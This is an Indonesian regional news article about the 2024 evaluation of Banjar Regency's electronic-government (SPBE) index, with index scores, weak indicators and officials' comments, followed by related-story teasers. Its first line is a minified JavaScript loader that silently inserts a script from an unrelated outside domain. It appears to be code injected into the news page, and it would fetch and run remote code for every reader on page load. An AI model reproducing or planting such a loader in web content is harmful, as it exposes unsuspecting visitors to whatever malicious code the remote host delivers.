(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PAN-RB) menggelar penilaian interviu evaluasi Sistem Pemerintahan Berbasis Elektronik (SPBE) tahun 2024.
Kegiatan secara virtual di Command Center Manis, Martapura, Selasa (22/10/2024) pagi itu diikuti Pemerintah Kabupaten Banjar melalui Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar.
Sekda Banjar HM Hilman menjelaskan, evaluasi SPBE ini berdasar pedoman Menteri PAN RB Nomor 3 tahun 2024 tentang tata cara pemantauan dan evaluasi SPBE.
Baca juga: Pekan Budaya Banua 2024: Produk Lokal hingga Rempah-rempah Daerah
Dia berharap dari Tim Evaluator dapat memberikan arahan untuk melakukan perbaikan sehingga Indeks SPBE Kabupaten Banjar dapat meningkat.
Kepala Bidang E-Government DKISP Banjar Cornelius Kristanto mengatakan, Indeks SPBE Kabupaten Banjar tahun 2023 sebesar 2,87 dengan kategori baik dan pada tahun 2024 diklaim Indeks SPBE mengalami kenaikan mencapai 3 lebih.
“Domain indikator penilaian SPBE meliputi domain kebijakan, tata kelola, manajemen dan layanan di lingkungan Pemkab Banjar sehingga total indikator dari domain tersebut sebanyak 47 indikator,” katanya.
Baca juga: H Saidi Mansyur Tegaskan Komitmennya Memperhatikan Santri dan Ponpes di Kabupaten Banjar
Kristanto menjelaskan, evaluasi dilakukan melalui metode tanya jawab yang dilakukan oleh tim evaluator eksternal indikator SPBE yang menjadi kelemahan yaitu audit Teknologi Informasi dan Komunikasi (TIK) dan Manajemen SPBE.
“Dua indikator tersebut menjadi kelemahan termasuk peta rencana SPBE, kelemahan tersebut sudah diakomodir oleh bagian organisasi dan telah menyepakati untuk penyusunan dokumen ini sehingga pada tahun 2025 nanti indeks secara keseluruhan dapat naik lagi,” jelas dia.
Baca juga: PLN Sukses Menjaga Pasokan Listrik saat MTQ Nasional di Samarinda
Menurut Kris hal yang terpenting adalah kerjasama antar SKPD karena masing-masing SKPD memiliki aplikasi yang menjadi tanggung jawab mereka.
“DKISP Banjar berperan mengkoordinir dan memfasilitasi untuk mengevaluasinya dan memperbaharui fitur,” pungkas dia. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar kegiatan bedah… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menerbitkan Surat Perintah Penangkapan (Sprinkap) lantaran Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Motif terlihat utang diduga menjadi pemicu seorang lelaki 37 tahun akhiri hidup… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tugu Bundaran Simpang Empat Banjarbaru akan dipercantik dengan bermandi cahaya lampu pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim penyidik Komisi Pemberantasan Korupsi (KPK) pada Selasa (5/11/2024), memeriksa lima saksi… Read More
KANALKALIMANTAN.COM, BANJARBARU – Lelaki 37 tahun ditemukan tak bernyawa di kontrakan Jalan SMPN 10 Kelurahan… Read More
This website uses cookies.